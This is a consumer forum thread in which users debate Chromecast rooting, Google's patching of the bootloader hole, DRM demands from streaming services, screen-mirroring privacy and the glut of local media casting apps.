Click to collapse
I would think that if a Manufacturer could add something to the ROM to make it work there is no reason why an app couldn't do the same thing especially one that intended to do something you shouldn't.
I'm not all up on Miracast (since I don't have a device that supports it , I do have a dongle though) but I'm betting you can connect to Miracast without losing Internet and if that is true then thats probably how CCast mirroring will work because the only way to be sure it is secure is to limit what it can broadcast to. And Radio Range would seem to be the best method for that. Means the Spy would have to be in radio range to intercept the stream.
But I'm with you I hope not!
Would much prefer it worked on PIN PAIR method (Like Bluetooth) where you add the CCast as a Display device, You enter a Pin code to pair them and Mirroring only works with devices your paired to.
Thats best protected in the OS and would work because Apps couldn't then pair with anything other than your own screen....
But that doesn't mean the Divorce rate won't go up! LOL
Asphyx said:
I would think that if a Manufacturer could add something to the ROM to make it work there is no reason why an app couldn't do the same thing especially one that intended to do something you shouldn't.
Click to expand...
Click to collapse
Koush said the API isn't available to non OEMs. So it would take some kind of exploit, which would then be very device and configuration specific, so fairly safe. Likely there's some signing process as well.
Sent from a device with no keyboard. Please forgive typos, they may not be my own.
bhiga said:
Koush said the API isn't available to non OEMs. So it would take some kind of exploit, which would then be very device and configuration specific, so fairly safe. Likely there's some signing process as well.
Sent from a device with no keyboard. Please forgive typos, they may not be my own.
Click to expand...
Click to collapse
Yes but I'm betting that it may need the OEMs to add drivers for the support which is why it's done there but not as part of android.
Which is why I fear it working like Miracast does. The API is there but the OEMs need to make drivers that will allow simultaneous Network and Mirroring via Radio.
So I searched and came up empty.
Why would google stop the rooting of the chromecast? It's not like we can do anything too crazy with it..
Just whitelist and change the dns... So I don't get it.
One of the biggest reasons I bailed from Apple products to Android products was the ease of making it work how I wanted it to work thanks to all the devs.
Sent from my Nexus 5 using Tapatalk
Android might be too open for Google's liking.
Allowing free streaming of audio and video would only cement Apple's good standing with companies more comfortable with controllable DRM.
Also, Android is seen as a highly vulnerable platform.
No one can have two masters.
Google can't make money on advertising alone.
Alas, only time will tell...
Sent from Tapatalk using Xperia Z1 (C6906)
rans0m00 said:
So I searched and came up empty.
Why would google stop the rooting of the chromecast? It's not like we can do anything too crazy with it..
Just whitelist and change the dns... So I don't get it.
One of the biggest reasons I bailed from Apple products to Android products was the ease of making it work how I wanted it to work thanks to all the devs.
Click to expand...
Click to collapse
Two of ways to look at it...
Google never intended for root to happen, initial bootloader vulnerability was an engineering version released by accident
Google loves us and released vulnerable bootloader on purpose, but that jeopardized their agreements with Netflix, Hulu, HBO, etc so they had to patch the hole
I think both have something do with it.
Given Hollywood's fear and lack of understanding of technlogy, they probably heard "rooted" and immediately called the lawyers. Doesn't matter that Chromecast doesn't actually download and store the content, so root really doesn't help in terms of "they have a copy that they can decrypt" - it's just fear.
From a business perspective Google's really pushing this mass market. So if that was the reason, the choice became "We lock it down, make the content providers happy and sell millions - or we don't lock it down, lose the content providers, and have a $35 Google TV that can't even access anything more than YouTube" well....
It's one thing to stand your ground and alienate a large group while still having functionality but standing your ground, alienating a large group and ending up with a fairly useless and unmarketable device is a recipe for angry stockholders.
tl;dr - blame the ignorant content industry decision-makers that think all we want to do is pirate stuff.
Well how willing would a company like Netflix be to support a device that once rooted could be used to steal their encryption and Auth methods So you could steal their content?
A rooted CCast could be programmed to off load the players and content it uses locally,
The content creators and providers know this which is why most content related apps are set up to refuse to work in the presence of root on a device.
Google doesn't really care if your device is rooted or not but the people they want to support the CCast care.
Remember the failure of GoogleTV, The TV Networks blacklisted the device because they believed it would be used to pirate their material and wanted to charge you or google to see it!
Unless you went directly to their site where they could count you as a view and make the money from advertising.
Hmm the possible using root to offload the videos makes sense. Seems like it would take some effort but could be as easy as some code a powered USB driver.
I think about it different... Rooted more options to make it stream more stuff... Not more options to snag stuff.
Sent from my Nexus 5 using Tapatalk
Hopefully more apps pick up on this or it will just be another device google tried to get rolling and failed at.
Sent from my Nexus 5 using Tapatalk
rans0m00 said:
Hopefully more apps pick up on this or it will just be another device google tried to get rolling and failed at.
Click to expand...
Click to collapse
I think they will and are. Android mirroring will help a lot, but even now there are many "hidden gems" like Vbukit that could really take off once Google lets up on the reins.
bhiga said:
I think they will and are. Android mirroring will help a lot, but even now there are many "hidden gems" like Vbukit that could really take off once Google lets up on the reins.
Click to expand...
Click to collapse
Hopefully so. At this price point for the item if they can get most apps to use it then they will sell tons of them.
rans0m00 said:
Hmm the possible using root to offload the videos makes sense. Seems like it would take some effort but could be as easy as some code a powered USB driver.
I think about it different... Rooted more options to make it stream more stuff... Not more options to snag stuff.
Sent from my Nexus 5 using Tapatalk
Click to expand...
Click to collapse
actually there is nothing about root other than bypassing the whitelist that lets you play more stuff.
To put it another way....
Would rooting your TV make it do something more than it already does? No it wouldn't would it?
It'a nothing more than who has access to control the hardware but the hardware doesn't do any more than it already does and it still won't play an AVI natively without transcoding so your not really gaining capability, Just removing restrictions that are there to keep control of DRM content to keep Content providers and creators happy.
If they let it stay uncontrolled then devices like this would be supported while Content providers stayed away from CCast due to it's uncontrolled environment.
http://www.webpronews.com/ces-2014-netgear-announces-hdmi-dongle-chromecast-competitor-2014-01
And rooting our androids have opened up plenty of possibilities that otherwise wouldn't be available. Like customs roms and kernels. Which then open the door to tons of stuff.... Its been a minute but I think it was custom kernels that allowed us to use exfat instead of fat32? Currently the chromecast rooted only runs a custom whitelist and a handful of other things. Because that is all we have the option with the only custom rom out. If they figure out how to start adding different functions I don't know what would be possible but yes... From rooting this opened the door to all of this being possible.
Sent from my Nexus 5 using Tapatalk
Asphyx said:
A rooted CCast could be programmed to off load the players and content it uses locally
Click to expand...
Click to collapse
So can linux box, an android, a flashed ps3, a flashed xbox360, and anything else running a linux based distro which has access to netflix through web browsers or otherwise. Hell, with a little code, a raspberry pi could do it! Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
hp420 said:
Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
Click to expand...
Click to collapse
Yes, and then the Hollywood lawyers would try to stop your coffee maker's maker from making coffee makers. Whoa, that's a lot of makers...
hp420 said:
So can linux box, an android, a flashed ps3, a flashed xbox360, and anything else running a linux based distro which has access to netflix through web browsers or otherwise. Hell, with a little code, a raspberry pi could do it! Put a qualcomm chip, wifi capability and a touchscreen on my coffee maker and I could make the damn thing gain unauthorized access to netflix.
Click to expand...
Click to collapse
Yep and why do you think Netflix upgrades sometimes won't play on your rooted device?
What is more important to you...
having content to view or access to make the unit play any content you wanted if only there was content available for it!
Asphyx said:
Yep and why do you think Netflix upgrades sometimes won't play on your rooted device?
What is more important to you...
having content to view or access to make the unit play any content you wanted if only there was content available for it!
Click to expand...
Click to collapse
Honestly?? Having root is more important to me. I've never used any of the services we're talking about (hulu, netflix, amazon, etc.) I use other means to get my video streaming accomplished, and prefer to have full control of my device without some corporate shmuck who doesn't even know what a rooted phone can do stepping in and saying I'm breaking their tos by tampering with open source firmware installed on hardware I own outright. This is why I choose to use alternatives
The chromecast was never advertised as an open source device.
Maybe it's time people realize that Google isn't synonymous with 'free, good or open source' .
They are a company and they are here to make money.
Honestly, I'm already set with the chromecast.
Netfliz+Hulu + avia + showbox +vget +plex + tab casting = my money's worth
Sent from my HTC One X using Tapatalk 2
I agree with people have said here.... I can see both sides for the argument as being valid.
I prefer full control of my device but I also realize my type is a very small portion of the people needed to make this device appealing enough for developers to write code to
allow ccast to work.
I'm hoping that root is found occasionally to still keep the devs interested but spread out enough to keep people like netflix and hulu Happy.
Sent from my Nexus 5 using Tapatalk
hp420 said:
Honestly?? Having root is more important to me. I've never used any of the services we're talking about (hulu, netflix, amazon, etc.) I use other means to get my video streaming accomplished, and prefer to have full control of my device without some corporate shmuck who doesn't even know what a rooted phone can do stepping in and saying I'm breaking their tos by tampering with open source firmware installed on hardware I own outright. This is why I choose to use alternatives
Click to expand...
Click to collapse
So given a choice of having Media available for a Media device or Rooted device that does nothing you want the Rooted paperweight....
Good for you!
In defense... The rooted paperweight wouldn't be correct. With a strong enough dev environment we would have more options. Would seriously take a strong dev following though, since they would be responsible for keeping it from being a paperweight.
Anyways I got my answer from this thread. Which is my views are I like everything being as open as possible.
I understand now why google has to keep or attempt to keep the platform locked down for it to be a success. Maybe in the future google will find a balance of more options while still keeping the lawyers Happy.
Till then let's hope the chromecast just gets better support from app developers and increasing in popularity.... Which I think will bring more devs and possibly more chances for getting root and other roms.
Sent from my Nexus 5 using Tapatalk
rans0m00 said:
In defense... The rooted paperweight wouldn't be correct. With a strong enough dev environment we would have more options. Would seriously take a strong dev following though, since they would be responsible for keeping it from being a paperweight.
Anyways I got my answer from this thread. Which is my views are I like everything being as open as possible.
I understand now why google has to keep or attempt to keep the platform locked down for it to be a success. Maybe in the future google will find a balance of more options while still keeping the lawyers Happy.
Till then let's hope the chromecast just gets better support from app developers and increasing in popularity.... Which I think will bring more devs and possibly more chances for getting root and other roms.
Sent from my Nexus 5 using Tapatalk
Click to expand...
Click to collapse
Rans...Don't get me wrong I don't really have a problem with Root but there comes a point where having control over a device thats express purpose is to stream media and send content to a screen makes having content available more important than having control over Root access to a device that won't do what it is intended to do once you get it!
This is not a phone that you can sideload programs to and make it do something it wasn't intended to do.
It is like saying I want complete control over my TV Operating system and don't care if everyone who makes TV content available won't suppot my device making it a nice peice of electronics you can hack but serves no other purpose.
If rooting lost you Netflix, Plex, aVia and all the other content provider support what good would all that root access get you?
Are developers going to start making movies for you to watch as well?
Or are you just getting root to make your TV an Android box when an Android Stick would do the same thing for you?
Right now the only reason to have root is to Run Team Eureka's rom, And it is well worth having for that!
But if Netflix, Hulu and anyone else who has content to use on the device did a Root Check and stopped supporting your rooted device you would have nothing more than a nice Splash screen on your TV...
It's one thing to be a control freak about your devices...
Just remember the folks who make the content you want to see on your devices have the same desire (and RIGHT) to want to control who sees their content and who doesn't!
And you will blame them for not trusting you not yourself on insisting to have root on a device whose sole purpose is to display someone else's content!
We would all love to have root access to everything in life....
And thinking your going to get more just because you have more control is foolish because we have seen Root get you less from those who HAVE the content you really want.
If all this device could display was stuff you owned no one would need it because there are about 100 different devices that can already do it an better!
I actually think with enough dev support people could figure out how to make the chromecast into quite a bit more. I am not familiar with the limitations of the device itself though.
Before coming to Android I had an iPhone and I had my phone jail broke. Certain apps would not work if it was detected to be jail broken. Usually the devs found a work around and still had the content.
I'm still sticking with best case scenario is this turns out to be an apple vs jail break scene. They keep patching it but devs keep working to find holes and increasing the options users have with their device. This might keep the content providers happy since google would be patching the holes when they are presented.
And when it comes down to other devices doing it better.... Yeah there is always a different options... With the current state of things honestly I still prefer the rokus over the chromecast.
Sent from my Nexus 5 using Tapatalk
..... Are there way to many local media casting apps?
It seems another one pops up every few days.
I am all for a free market but, c'mon, let's get some originality!
Sent from my Nexus 7 using Tapatalk
Nothing wrong with it, in my opinion. One of them might come up as the ultimate Chromecast app. So far for me, top stop is reserved for BubbleUPnP, but I would change in the heartbeat if something better comes out (tough ask).
abuttino said:
..... Are there way to many local media casting apps?
It seems another one pops up every few days.
I am all for a free market but, c'mon, let's get some originality!
Sent from my Nexus 7 using Tapatalk
Click to expand...
Click to collapse
I was about to post the same thing. So far it has been very redundant and underwhelming. We need mirroring ASAP. And I'm still waiting for that app that makes me say, "Wow, I never thought of using the chromecast that way!"
Don't get me wrong, I love my chromecast. Best bang for the buck in the history of computers/electronics. I'm just spoiled. LOL!
I've never been opposed to choice. In fact it's why I own Android products and not an iPhone.
Sent from my Nexus 7 (2013) using xda-developers app
I stated that in my post. I am all for free market.
I would just hope that someone can think of something better than all these local media streamers.
Sent from my DROID RAZR HD using Tapatalk
abuttino said:
..... Are there way to many local media casting apps?
It seems another one pops up every few days.
I am all for a free market but, c'mon, let's get some originality!
Click to expand...
Click to collapse
I think it's just a matter of those apps being the most logical early adopters for CCast support cause once one media player supports CCast the rest have to make sure to follow or lose marketshare.
And I wouldn't discount Google and the Whitelisting for reasons why we aren't seeing more innovative Apps for the CCast.
Players are pretty straight forward and other Apps are probably getting a bit more scrutiny from Google before getting approved for Whitelisting since those operations actually require a more complex code on the CCast side than the Local Player apps do.
The only thing that I'm disappointed in is the fact that none of the Local Stream Devs are doing much to expand the capabilities of the player on the CCast side. Bubble has probably done the most with it's subtitle support, and Plex's latest release has added a ton of features including Music Photo and some Eye Candy during navigation.
The Most popular Android player apps were popular due to the extra container and codec support they had but unless they can add that support to the CCast side player (difficult I know) their supporting CCast really isn't going to help them retain Market.
As for Mirroring you probably have two forces at play holding it up.
First the Operating System support has to be there which means only devices with 4.2.x or higher will likely be able to run it,
and Second would be the security issues (@bhiga mentioned early on) that could be triggered by some malware that could trigger your unit to mirror to someone else and violate privacy.
Even if someone finds a way to do Mirroring well I would expect Google to go over it with a fine tooth comb before they whitelisted it and lets be honest they may NEVER allow 3rd party Mirroring Apps and prefer to control that function all on their own. Perhaps as part of future versions of Android which currently the SDK seems to have the code for it but is not being used by anyone at the moment.